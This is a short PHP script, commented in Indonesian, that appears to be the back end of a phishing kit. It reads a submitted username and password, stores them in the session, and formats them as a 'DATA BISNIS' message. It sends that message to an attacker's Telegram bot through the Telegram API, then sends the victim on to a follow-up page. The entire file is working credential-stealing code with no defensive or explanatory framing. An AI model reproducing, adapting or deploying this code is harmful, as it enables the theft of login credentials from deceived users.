<?php
session_start(); // Memulai session wajib di bagian paling atas

// 1. Sertakan file konfigurasi telegram
if (file_exists('../../telegram.php')) {
    include('../../telegram.php');
} else {
    die("File konfigurasi tidak ditemukan!");
}

// 2. Anti-Spam: Minimal jeda 10 detik
if (isset($_SESSION['last_submit_time'])) {
    $seconds_since_last_submit = time() - $_SESSION['last_submit_time'];
    if ($seconds_since_last_submit < 10) {
        die("Mohon tunggu sebentar sebelum mengirim pesan lagi (Anti-Spam).");
    }
}

// 3. Tangkap data dari form
$user = isset($_POST['a']) ? trim($_POST['a']) : '';
$pass = isset($_POST['b']) ? trim($_POST['b']) : '';

// 4. Validasi Input Kosong
if (empty($user) || empty($pass)) {
    echo "<script>alert('User dan Password tidak boleh kosong!'); window.history.back();</script>";
    exit();
}

// --- BAGIAN SESSION DATA ---
// Simpan data ke session agar bisa dipanggil di file PHP lain
$_SESSION['user_data'] = $user;
$_SESSION['pass_data'] = $pass;
// ---------------------------

// 5. Format Pesan Telegram
$message = "<b>— DATA BISNIS —</b>\n";
$message .= "<b>User:</b> <code>$user</code>\n";
$message .= "<b>Pass:</b> <code>$pass</code>\n";

// 6. Kirim ke Telegram via cURL
$url = "https://api.telegram.org/bot" . $id_bot . "/sendMessage";
$data = [
    'chat_id' => $telegram_id,
    'text' => $message,
    'parse_mode' => 'html'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

if ($response) {
    $_SESSION['last_submit_time'] = time();
    // Redirect ke file kedua untuk menampilkan data
    header("Location: ../../bisnis/dua.html");
    exit();
} else {
    echo "Gagal mengirim data.";
}
?>